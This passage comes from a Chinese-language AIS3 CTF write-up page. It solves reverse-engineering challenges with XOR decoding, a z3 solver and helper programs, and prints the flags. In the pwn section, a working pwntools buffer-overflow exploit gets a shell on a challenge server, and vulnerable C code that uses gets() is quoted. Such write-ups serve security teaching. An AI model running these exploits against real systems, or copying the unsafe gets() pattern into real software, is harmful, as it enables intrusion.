class="number">0x93</span>,<span class="number">0xfc</span>,<span class="number">0xc9</span>,<span class="number">0x1c</span>,<span class="number">9</span>,<span class="number">0xbc</span>,<span class="number">0x9b</span>,<span class="number">0x4f</span>,<span class="number">0x85</span>,<span class="number">0xff</span>,<span class="number">0x68</span>,<span class="number">0x14</span>,<span class="number">0x57</span>,<span class="number">0x40</span>,<span class="number">0x93</span>,<span class="number">0x8f</span>,<span class="number">0x44</span>,<span class="number">0x93</span>,<span class="number">0x8e</span>,<span class="number">0x60</span>,<span class="number">0xa5</span>,<span class="number">0xf4</span>,<span class="number">0x3e</span>,<span class="number">0x3a</span>,<span class="number">0x77</span>,<span class="number">0x19</span>,<span class="number">0x3d</span>,<span class="number">0x38</span>,<span class="number">0x47</span>,<span class="number">0xb6</span>,<span class="number">7</span>,<span class="number">0x25</span>,<span class="number">1</span>,<span class="number">0x9a</span>&#125;;</span><br><span class="line"><span class="type">int</span> b[<span class="number">0x34</span>]=&#123;<span class="number">0xed</span>,<span class="number">0xd9</span>,<span class="number">0xd4</span>,<span class="number">0x28</span>,<span class="number">0x95</span>,<span class="number">0xdb</span>,<span class="number">0xa5</span>,<span class="number">0x70</span>,<span class="number">0x1d</span>,<span class="number">0xf1</span>,<span class="number">8</span>,<span class="number">0xbd</span>,<span class="number">0xd</span>,<span class="number">0xe0</span>,<span class="number">0xd3</span>,<span class="number">0x95</span>,<span class="number">5</span>,<span class="number">0xb8</span>,<span class="number">0xff</span>,<span class="number">0xcf</span>,<span class="number">0xa2</span>,<span class="number">0x7a</span>,<span class="number">0x56</span>,<span class="number">199</span>,<span class="number">0xaa</span>,<span class="number">0x7a</span>,<span class="number">0xf0</span>,<span class="number">0xce</span>,<span class="number">9</span>,<span class="number">0x66</span>,<span class="number">0x66</span>,<span class="number">1</span>,<span class="number">0xa3</span>,<span class="number">0xbc</span>,<span class="number">0x77</span>,<span class="number">0xe1</span>,<span class="number">0xef</span>,<span class="number">3</span>,<span class="number">0xf6</span>,<span class="number">0x99</span>,<span class="number">9</span>,<span class="number">0x73</span>,<span class="number">10</span>,<span class="number">0x46</span>,<span class="number">0x5e</span>,<span class="number">0x67</span>,<span class="number">0x34</span>,<span class="number">0x89</span>,<span class="number">0x61</span>,<span class="number">0x1d</span>,<span class="number">0x6d</span>,<span class="number">0xd0</span>&#125;;</span><br><span class="line"><span class="type">int</span> flag[<span class="number">0x34</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int32_t</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">0x34</span>;i++)&#123;</span><br><span class="line">        flag[ind[i]]=a[i]^b[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">0x34</span>;i++)&#123;</span><br><span class="line">        cout&lt;&lt;<span class="built_in">char</span>(flag[i]);</span><br><span class="line">    &#125;</span><br><span class="line">    cout&lt;&lt;<span class="string">&quot;\n&quot;</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;c143f9818a01_Ju5t_a_s1mple_fl4g_ch3ck3r_r1gh7?&#125;</code></p><h2 id="Vivid-Emotion-493"><a href="#Vivid-Emotion-493" class="headerlink" title="Vivid Emotion [493]"></a>Vivid Emotion [493]</h2><div class="note default flat"><p>If you failed on this, I’ll give you some lovely emojis to cheer you up! Keep going until you see the Success!</p><p>To get the flag, store your answers into a file and run <code>flag-decryptor.py</code> .</p><p>There are some requirements for decryptor:</p><ul><li>Install python package pycryptodome<ul><li><code>pip install pycryptodome</code></li></ul></li><li>To let decryptor works properly, answer_file’s content must follow the format. Please arrange your answers correctly.<ul><li>If you don’t like my decryptor, you can reverse it and rewrite it!</li></ul></li></ul><blockquote><p>If you step into some problem while checking answers using the checker, Use pwntools process to send answers to program may help.</p></blockquote><p>Author: TwinkleStar03 🌟</p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/10_qEMNX18pZE7o269Fy-seph-eHgnzxL/view?usp=sharing">https://drive.google.com/file/d/10_qEMNX18pZE7o269Fy-seph-eHgnzxL/view?usp=sharing</a></p></blockquote><p>先把這題的elf跑起來，會發現他要輸入一個<code>secret number</code>，稍微逆一下就知道這個數字是<code>333</code>。而在輸入<code>333</code>之後，接下來需要輸入333個數字做為<code>secret</code>，而很明顯可以發現這些數字的條件判斷函數存在於所有<code>chk</code>開頭的區塊裡面，而這個就可以用z3 solver解決，因此寫個exploit來把數字解出來。</p><p><img src="https://imgur.com/NMLFmHV.png"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">x = IntVector(<span class="string">&#x27;x&#x27;</span>, <span class="number">333</span>)</span><br><span class="line"></span><br><span class="line">s = Solver()</span><br><span class="line"></span><br><span class="line"><span class="comment"># s.add(...)</span></span><br><span class="line"><span class="comment"># 詳見HackMD https://hackmd.io/@M3t30r/Bk4n4dkIn#Vivid-Emotion-493</span></span><br><span class="line"></span><br><span class="line">flag= [<span class="number">0</span>*<span class="number">333</span>]</span><br><span class="line"><span class="built_in">print</span>(s.check())</span><br><span class="line">m = s.model()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> m:</span><br><span class="line">    <span class="built_in">print</span>(i,end=<span class="string">&#x27; &#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span>(m[i])</span><br></pre></td></tr></table></figure><p>解出來之後把它們依照index重新排列並且放到ans.txt裡面，送回<code>flag-decryptor.py</code>就能夠拿到flag了。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// rearrange</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;bits/stdc++.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IOS ios::sync_with_stdio(false);cin.tie(0);cout.tie(0);</span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> ind[<span class="number">335</span>]=&#123;<span class="number">283</span>,<span class="number">314</span>,<span class="number">286</span>,<span class="number">277</span>,<span class="number">294</span>,<span class="number">295</span>,<span class="number">329</span>,<span class="number">285</span>,<span class="number">233</span>,<span class="number">202</span>,<span class="number">235</span>,<span class="number">243</span>,<span class="number">207</span>,<span class="number">332</span>,<span class="number">247</span>,<span class="number">238</span>,<span class="number">229</span>,<span class="number">225</span>,<span class="number">179</span>,<span class="number">257</span>,<span class="number">293</span>,<span class="number">269</span>,<span class="number">324</span>,<span class="number">100</span>,<span class="number">255</span>,<span class="number">246</span>,<span class="number">323</span>,<span class="number">301</span>,<span class="number">307</span>,<span class="number">183</span>,<span class="number">245</span>,<span class="number">318</span>,<span class="number">331</span>,<span class="number">218</span>,<span class="number">275</span>,<span class="number">288</span>,<span class="number">322</span>,<span class="number">261</span>,<span class="number">219</span>,<span class="number">289</span>,<span class="number">317</span>,<span class="number">266</span>,<span class="number">321</span>,<span class="number">259</span>,<span class="number">140</span>,<span class="number">157</span>,<span class="number">113</span>,<span class="number">172</span>,<span class="number">107</span>,<span class="number">68</span>,<span class="number">312</span>,<span class="number">163</span>,<span class="number">84</span>,<span class="number">287</span>,<span class="number">21</span>,<span class="number">187</span>,<span class="number">276</span>,<span class="number">216</span>,<span class="number">136</span>,<span class="number">42</span>,<span class="number">44</span>,<span class="number">76</span>,<span class="number">118</span>,<span class="number">160</span>,<span class="number">123</span>,<span class="number">311</span>,<span class="number">133</span>,<span class="number">64</span>,<span class="number">26</span>,<span class="number">43</span>,<span class="number">18</span>,<span class="number">40</span>,<span class="number">139</span>,<span class="number">119</span>,<span class="number">77</span>,<span class="number">101</span>,<span class="number">274</span>,<span class="number">188</span>,<span class="number">217</span>,<span class="number">28</span>,<span class="number">244</span>,<span class="number">125</span>,<span class="number">292</span>,<span class="number">32</span>,<span class="number">224</span>,<span class="number">305</span>,<span class="number">273</span>,<span class="number">47</span>,<span class="number">214</span>,<span class="number">92</span>,<span class="number">95</span>,<span class="number">155</span>,<span class="number">132</span>,<span class="number">328</span>,<span class="number">313</span>,<span class="number">319</span>,<span class="number">90</span>,<span class="number">267</span>,<span class="number">176</span>,<span class="number">248</span>,<span class="number">6</span>,<span class="number">253</span>,<span class="number">105</span>,<span class="number">206</span>,<span class="number">173</span>,<span class="number">102</span>,<span class="number">262</span>,<span class="number">190</span>,<span class="number">296</span>,<span class="number">168</span>,<span class="number">33</span>,<span class="number">242</span>,<span class="number">325</span>,<span class="number">271</span>,<span class="number">45</span>,<span class="number">171</span>,<span class="number">249</span>,<span class="number">310</span>,<span class="number">19</span>,<span class="number">167</span>,<span class="number">79</span>,<span class="number">197</span>,<span class="number">177</span>,<span class="number">120</span>,<span class="number">284</span>,<span class="number">148</span>,<span class="number">12</span>,<span class="number">78</span>,<span class="number">327</span>,<span class="number">193</span>,<span class="number">196</span>,<span class="number">85</span>,<span class="number">215</span>,<span class="number">127</span>,<span class="number">144</span>,<span class="number">170</span>,<span class="number">212</span>,<span class="number">22</span>,<span class="number">108</span>,<span class="number">81</span>,<span class="number">99</span>,<span class="number">96</span>,<span class="number">152</span>,<span class="number">29</span>,<span class="number">88</span>,<span class="number">93</span>,<span class="number">110</span>,<span class="number">9</span>,<span class="number">82</span>,<span class="number">221</span>,<span class="number">2</span>,<span class="number">182</span>,<span class="number">11</span>,<span class="number">10</span>,<span class="number">185</span>,<span class="number">31</span>,<span class="number">232</span>,<span class="number">236</span>,<span class="number">222</span>,<span class="number">91</span>,<span class="number">278</span>,<span class="number">256</span>,<span class="number">124</span>,<span class="number">130</span>,<span class="number">165</span>,<span class="number">290</span>,<span class="number">16</span>,<span class="number">25</span>,<span class="number">137</span>,<span class="number">279</span>,<span class="number">134</span>,<span class="number">231</span>,<span class="number">315</span>,<span class="number">189</span>,<span class="number">330</span>,<span class="number">36</span>,<span class="number">205</span>,<span class="number">192</span>,<span class="number">142</span>,<span class="number">252</span>,<span class="number">213</span>,<span class="number">264</span>,<span class="number">198</span>,<span class="number">200</span>,<span class="number">251</span>,<span class="number">14</span>,<span class="number">150</span>,<span class="number">94</span>,<span class="number">115</span>,<span class="number">166</span>,<span class="number">298</span>,<span class="number">86</span>,<span class="number">135</span>,<span class="number">46</span>,<span class="number">145</span>,<span class="number">241</span>,<span class="number">13</span>,<span class="number">15</span>,<span class="number">59</span>,<span class="number">158</span>,<span class="number">204</span>,<span class="number">111</span>,<span class="number">180</span>,<span class="number">30</span>,<span class="number">38</span>,<span class="number">228</span>,<span class="number">89</span>,<span class="number">210</span>,<span class="number">49</span>,<span class="number">223</span>,<span class="number">17</span>,<span class="number">117</span>,<span class="number">128</span>,<span class="number">131</span>,<span class="number">309</span>,<span class="number">153</span>,<span class="number">164</span>,<span class="number">282</span>,<span class="number">69</span>,<span class="number">121</span>,<span class="number">184</span>,<span class="number">83</span>,<span class="number">308</span>,<span class="number">57</span>,<span class="number">237</span>,<span class="number">297</span>,<span class="number">5</span>,<span class="number">226</span>,<span class="number">230</span>,<span class="number">4</span>,<span class="number">54</span>,<span class="number">75</span>,<span class="number">320</span>,<span class="number">272</span>,<span class="number">270</span>,<span class="number">300</span>,<span class="number">52</span>,<span class="number">263</span>,<span class="number">156</span>,<span class="number">8</span>,<span class="number">80</span>,<span class="number">162</span>,<span class="number">195</span>,<span class="number">51</span>,<span class="number">61</span>,<span class="number">220</span>,<span class="number">209</span>,<span class="number">146</span>,<span class="number">281</span>,<span class="number">302</span>,<span class="number">56</span>,<span class="number">109</span>,<span class="number">154</span>,<span class="number">280</span>,<span class="number">114</span>,<span class="number">138</span>,<span class="number">208</span>,<span class="number">35</span>,<span class="number">265</span>,<span class="number">1</span>,<span class="number">227</span>,<span class="number">63</span>,<span class="number">20</span>,<span class="number">112</span>,<span class="number">291</span>,<span class="number">316</span>,<span class="number">201</span>,<span class="number">159</span>,<span class="number">326</span>,<span class="number">71</span>,<span class="number">72</span>,<span class="number">58</span>,<span class="number">240</span>,<span class="number">97</span>,<span class="number">203</span>,<span class="number">250</span>,<span class="number">60</span>,<span class="number">62</span>,<span class="number">161</span>,<span class="number">67</span>,<span class="number">27</span>,<span class="number">55</span>,<span class="number">191</span>,<span class="number">126</span>,<span class="number">169</span>,<span class="number">34</span>,<span class="number">122</span>,<span class="number">186</span>,<span class="number">0</span>,<span class="number">23</span>,<span class="number">50</span>,<span class="number">239</span>,<span class="number">87</span>,<span class="number">73</span>,<span class="number">147</span>,<span class="number">175</span>,<span class="number">199</span>,<span class="number">306</span>,<span class="number">66</span>,<span class="number">74</span>,<span class="number">98</span>,<span class="number">3</span>,<span class="number">65</span>,<span class="number">7</span>,<span class="number">299</span>,<span class="number">37</span>,<span class="number">141</span>,<span class="number">149</span>,<span class="number">303</span>,<span class="number">103</span>,<span class="number">178</span>,<span class="number">53</span>,<span class="number">116</span>,<span class="number">151</span>,<span class="number">211</span>,<span class="number">48</span>,<span class="number">304</span>,<span class="number">24</span>,<span class="number">143</span>,<span class="number">104</span>,<span class="number">254</span>,<span class="number">234</span>,<span class="number">260</span>,<span class="number">174</span>,<span class="number">70</span>,<span class="number">129</span>,<span class="number">181</span>,<span class="number">268</span>,<span class="number">39</span>,<span class="number">194</span>,<span class="number">258</span>,<span class="number">41</span>,<span class="number">106</span>&#125;;</span><br><span class="line"><span class="type">int</span> val[<span class="number">335</span>]=&#123;<span class="number">152</span>,<span class="number">180</span>,<span class="number">108</span>,<span class="number">4</span>,<span class="number">136</span>,<span class="number">62</span>,<span class="number">123</span>,<span class="number">238</span>,<span class="number">187</span>,<span class="number">182</span>,<span class="number">200</span>,<span class="number">38</span>,<span class="number">214</span>,<span class="number">221</span>,<span class="number">205</span>,<span class="number">82</span>,<span class="number">12</span>,<span class="number">40</span>,<span class="number">156</span>,<span class="number">81</span>,<span class="number">21</span>,<span class="number">14</span>,<span class="number">132</span>,<span class="number">205</span>,<span class="number">77</span>,<span class="number">13</span>,<span class="number">33</span>,<span class="number">165</span>,<span class="number">157</span>,<span class="number">235</span>,<span class="number">44</span>,<span class="number">113</span>,<span class="number">199</span>,<span class="number">93</span>,<span class="number">83</span>,<span class="number">115</span>,<span class="number">92</span>,<span class="number">160</span>,<span class="number">95</span>,<span class="number">34</span>,<span class="number">50</span>,<span class="number">164</span>,<span class="number">67</span>,<span class="number">12</span>,<span class="number">215</span>,<span class="number">40</span>,<span class="number">61</span>,<span class="number">1</span>,<span class="number">205</span>,<span class="number">169</span>,<span class="number">134</span>,<span class="number">249</span>,<span class="number">243</span>,<span class="number">238</span>,<span class="number">113</span>,<span class="number">61</span>,<span class="number">242</span>,<span class="number">80</span>,<span class="number">204</span>,<span class="number">157</span>,<span class="number">237</span>,<span class="number">1</span>,<span class="number">210</span>,<span class="number">163</span>,<span class="number">70</span>,<span class="number">8</span>,<span class="number">124</span>,<span class="number">131</span>,<span class="number">107</span>,<span class="number">220</span>,<span class="number">2</span>,<span class="number">111</span>,<span class="number">9</span>,<span class="number">154</span>,<span class="number">186</span>,<span class="number">192</span>,<span class="number">189</span>,<span class="number">46</span>,<span class="number">205</span>,<span class="number">209</span>,<span class="number">246</span>,<span class="number">160</span>,<span class="number">199</span>,<span class="number">175</span>,<span class="number">82</span>,<span class="number">195</span>,<span class="number">105</span>,<span class="number">43</span>,<span class="number">0</span>,<span class="number">134</span>,<span class="number">153</span>,<span class="number">220</span>,<span class="number">184</span>,<span class="number">21</span>,<span class="number">156</span>,<span class="number">187</span>,<span class="number">246</span>,<span class="number">232</span>,<span class="number">94</span>,<span class="number">172</span>,<span class="number">175</span>,<span class="number">93</span>,<span class="number">189</span>,<span class="number">160</span>,<span class="number">20</span>,<span class="number">155</span>,<span class="number">197</span>,<span class="number">251</span>,<span class="number">241</span>,<span class="number">154</span>,<span class="number">172</span>,<span class="number">247</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">119</span>,<span class="number">207</span>,<span class="number">105</span>,<span class="number">127</span>,<span class="number">72</span>,<span class="number">245</span>,<span class="number">163</span>,<span class="number">135</span>,<span class="number">132</span>,<span class="number">31</span>,<span class="number">58</span>,<span class="number">8</span>,<span class="number">236</span>,<span class="number">239</span>,<span class="number">154</span>,<span class="number">196</span>,<span class="number">177</span>,<span class="number">61</span>,<span class="number">167</span>,<span class="number">61</span>,<span class="number">110</span>,<span class="number">96</span>,<span class="number">250</span>,<span class="number">159</span>,<span class="number">137</span>,<span class="number">10</span>,<span class="number">174</span>,<span class="number">76</span>,<span class="number">235</span>,<span class="number">206</span>,<span class="number">102</span>,<span class="number">29</span>,<span class="number">63</span>,<span class="number">215</span>,<span class="number">55</span>,<span class="number">52</span>,<span class="number">14</span>,<span class="number">36</span>,<span class="number">117</span>,<span class="number">134</span>,<span class="number">185</span>,<span class="number">14</span>,<span class="number">45</span>,<span class="number">22</span>,<span class="number">27</span>,<span class="number">222</span>,<span class="number">84</span>,<span class="number">237</span>,<span class="number">164</span>,<span class="number">19</span>,<span class="number">175</span>,<span class="number">91</span>,<span class="number">16</span>,<span class="number">176</span>,<span class="number">31</span>,<span class="number">7</span>,<span class="number">60</span>,<span class="number">24</span>,<span class="number">74</span>,<span class="number">89</span>,<span class="number">36</span>,<span class="number">47</span>,<span class="number">103</span>,<span class="number">131</span>,<span class="number">21</span>,<span class="number">13</span>,<span class="number">151</span>,<span class="number">49</span>,<span class="number">47</span>,<span class="number">12</span>,<span class="number">110</span>,<span class="number">209</span>,<span class="number">37</span>,<span class="number">212</span>,<span class="number">46</span>,<span class="number">247</span>,<span class="number">17</span>,<span class="number">224</span>,<span class="number">110</span>,<span class="number">183</span>,<span class="number">68</span>,<span class="number">231</span>,<span class="number">67</span>,<span class="number">186</span>,<span class="number">119</span>,<span class="number">235</span>,<span class="number">28</span>,<span class="number">214</span>,<span class="number">106</span>,<span class="number">48</span>,<span class="number">91</span>,<span class="number">249</span>,<span class="number">206</span>,<span class="number">0</span>,<span class="number">147</span>,<span class="number">79</span>,<span class="number">234</span>,<span class="number">112</span>,<span class="number">156</span>,<span class="number">145</span>,<span class="number">102</span>,<span class="number">101</span>,<span class="number">56</span>,<span class="number">136</span>,<span class="number">42</span>,<span class="number">19</span>,<span class="number">12</span>,<span class="number">129</span>,<span class="number">107</span>,<span class="number">198</span>,<span class="number">105</span>,<span class="number">242</span>,<span class="number">30</span>,<span class="number">25</span>,<span class="number">12</span>,<span class="number">23</span>,<span class="number">102</span>,<span class="number">16</span>,<span class="number">157</span>,<span class="number">93</span>,<span class="number">130</span>,<span class="number">101</span>,<span class="number">44</span>,<span class="number">235</span>,<span class="number">91</span>,<span class="number">164</span>,<span class="number">133</span>,<span class="number">33</span>,<span class="number">59</span>,<span class="number">75</span>,<span class="number">164</span>,<span class="number">71</span>,<span class="number">72</span>,<span class="number">177</span>,<span class="number">191</span>,<span class="number">231</span>,<span class="number">142</span>,<span class="number">253</span>,<span class="number">117</span>,<span class="number">194</span>,<span class="number">134</span>,<span class="number">203</span>,<span class="number">185</span>,<span class="number">200</span>,<span class="number">114</span>,<span class="number">10</span>,<span class="number">147</span>,<span class="number">111</span>,<span class="number">122</span>,<span class="number">65</span>,<span class="number">208</span>,<span class="number">208</span>,<span class="number">232</span>,<span class="number">21</span>,<span class="number">101</span>,<span class="number">18</span>,<span class="number">42</span>,<span class="number">16</span>,<span class="number">40</span>,<span class="number">192</span>,<span class="number">73</span>,<span class="number">156</span>,<span class="number">127</span>,<span class="number">154</span>,<span class="number">117</span>,<span class="number">237</span>,<span class="number">211</span>,<span class="number">209</span>,<span class="number">221</span>,<span class="number">188</span>,<span class="number">238</span>,<span class="number">44</span>,<span class="number">60</span>,<span class="number">117</span>,<span class="number">242</span>,<span class="number">178</span>,<span class="number">111</span>,<span class="number">107</span>,<span class="number">174</span>,<span class="number">196</span>,<span class="number">33</span>,<span class="number">141</span>,<span class="number">42</span>,<span class="number">190</span>,<span class="number">73</span>,<span class="number">239</span>,<span class="number">9</span>,<span class="number">17</span>,<span class="number">249</span>,<span class="number">80</span>,<span class="number">97</span>,<span class="number">58</span>,<span class="number">235</span>,<span class="number">156</span>,<span class="number">178</span>,<span class="number">49</span>,<span class="number">218</span>,<span class="number">205</span>,<span class="number">46</span>,<span class="number">137</span>,<span class="number">76</span>,<span class="number">106</span>,<span class="number">31</span>,<span class="number">234</span>,<span class="number">233</span>,<span class="number">229</span>,<span class="number">173</span>,<span class="number">111</span>,<span class="number">217</span>,<span class="number">192</span>,<span class="number">242</span>,<span class="number">43</span>,<span class="number">68</span>,<span class="number">126</span>,<span class="number">243</span>,<span class="number">157</span>,<span class="number">36</span>,<span class="number">54</span>,<span class="number">187</span>&#125;;</span><br><span class="line"><span class="type">int</span> f[<span class="number">335</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int32_t</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="function">IOS</span></span><br><span class="line"><span class="function">    <span class="title">for</span><span class="params">(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">333</span>;i++)</span></span>&#123;</span><br><span class="line">        f[ind[i]]=val[i];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">0</span>;i&lt;<span class="number">333</span>;i++)&#123;</span><br><span class="line">        cout&lt;&lt;f[i]&lt;&lt;endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// ans.txt</span></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">$ python3 flag-decryptor.py</span><br><span class="line">Welcome to the flag decryptor! (｡･ω･｡)ﾉ♡</span><br><span class="line">Please make a file to store your all answers (in integers).</span><br><span class="line">Make sure there is not endline at the end.</span><br><span class="line">The file is has to follow the format below:</span><br><span class="line">&lt;answer[0]&gt;</span><br><span class="line">&lt;answer[1]&gt;</span><br><span class="line">&lt;answer[2]&gt;</span><br><span class="line">...</span><br><span class="line">&lt;answer[N]&gt;</span><br><span class="line">Here is an example that satisfies the format:</span><br><span class="line">251</span><br><span class="line">5</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">...</span><br><span class="line">63</span><br><span class="line">Please enter the file path of answer: ans.txt</span><br><span class="line">[*] Derived Key (May not able to decrypt): 5d3242c61ffecc64bfc37f255b827ef239b6dc7c5b030458be40a1979cba2bf1</span><br><span class="line">[+] Congrats （＊´・∀・＊）! Here is your flag: AIS3&#123;OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^･ω･^ ฅ)&#125;!</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;OuO_Hope_th1s_ch4l1eng3_gIve_y0u_viv1d_em0Tions!_(ฅ^･ω･^ ฅ)&#125;</code></p><h1 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h1><h2 id="Simply-Pwn-356"><a href="#Simply-Pwn-356" class="headerlink" title="Simply Pwn [356]"></a>Simply Pwn [356]</h2><div class="note default flat"><p>The simplest pwn</p><p><code>nc chals1.ais3.org 11111</code></p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1XQctYAM-Ul1LKooX8ofRM51pX6P1vIQI/view?usp=sharing">https://drive.google.com/file/d/1XQctYAM-Ul1LKooX8ofRM51pX6P1vIQI/view?usp=sharing</a></p></blockquote><p><img src="https://imgur.com/nHtWsbi.png"></p><p>這題很明顯是buffer overflow，因為<code>read</code>的bytes數量(256 bytes)超過了儲存量，且有一個<code>shellcode function</code>可以執行<code>/bin/sh</code>，所以要讓<code>rsp</code>指向他讓他跳上去。把elf跑起來之後發現過了67個bytes之後會出現一個亂碼，表示最多的儲存陣列就到67 bytes，所以接下來再蓋12 bytes把<code>old rbp</code>蓋掉就可以跳到<code>shellcode</code>上面了，所以一共要蓋$67+12=79$ bytes。直接寫exploit就可以拿到shell。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">Show me your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><br><span class="line">Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><br><span class="line">Segmentation fault</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r=remote(<span class="string">&#x27;chals1.ais3.org&#x27;</span>,<span class="number">11111</span>)</span><br><span class="line"></span><br><span class="line">s=<span class="number">0x4017a5</span></span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">r.sendline(<span class="string">b&#x27;A&#x27;</span>*<span class="number">79</span>+p64(s))</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>FLAG: <code>AIS3&#123;5imP1e_Pwn_4_beGinn3rs!&#125;</code></p><h2 id="ManagementSystem-443"><a href="#ManagementSystem-443" class="headerlink" title="ManagementSystem [443]"></a>ManagementSystem [443]</h2><div class="note default flat"><p>這個系統，看起來好像有點問題…。請利用你的技能和知識，找到漏洞並利用它們吧！</p><p>flag format : <code>FLAG{xxx}</code></p><p>Author : Richard ( dogxxx)</p><p><code>nc chals1.ais3.org 10003</code></p></div><blockquote><p>file: <a href="https://drive.google.com/file/d/1mnng4xunujuw5jCK1udhEmD5fTFkdbdi/view?usp=sharing">https://drive.google.com/file/d/1mnng4xunujuw5jCK1udhEmD5fTFkdbdi/view?usp=sharing</a></p></blockquote><p>這題其實跟第一題很像，可以發現在<code>delete</code>的function裡面出現了一個<code>gets()</code>誤用的buffer overflow，也有<code>secret_function</code>可以開shell，不過這個<code>delete</code> function要在database裡存在<code>user</code>時才能使用，因此前面要先註冊一個<code>user</code>，接下來才繼續執行<code>delete</code> function。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">User *<span class="title function_">delete_user</span><span class="params">(User *head)</span> &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Enter the index of the user you want to delete: &quot;</span>);</span><br><span class="line">    <span class="type">char</span> buffer[<span class="number">64</span>];</span><br><span class="line">    gets(buffer); </span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> user_index;</span><br><span 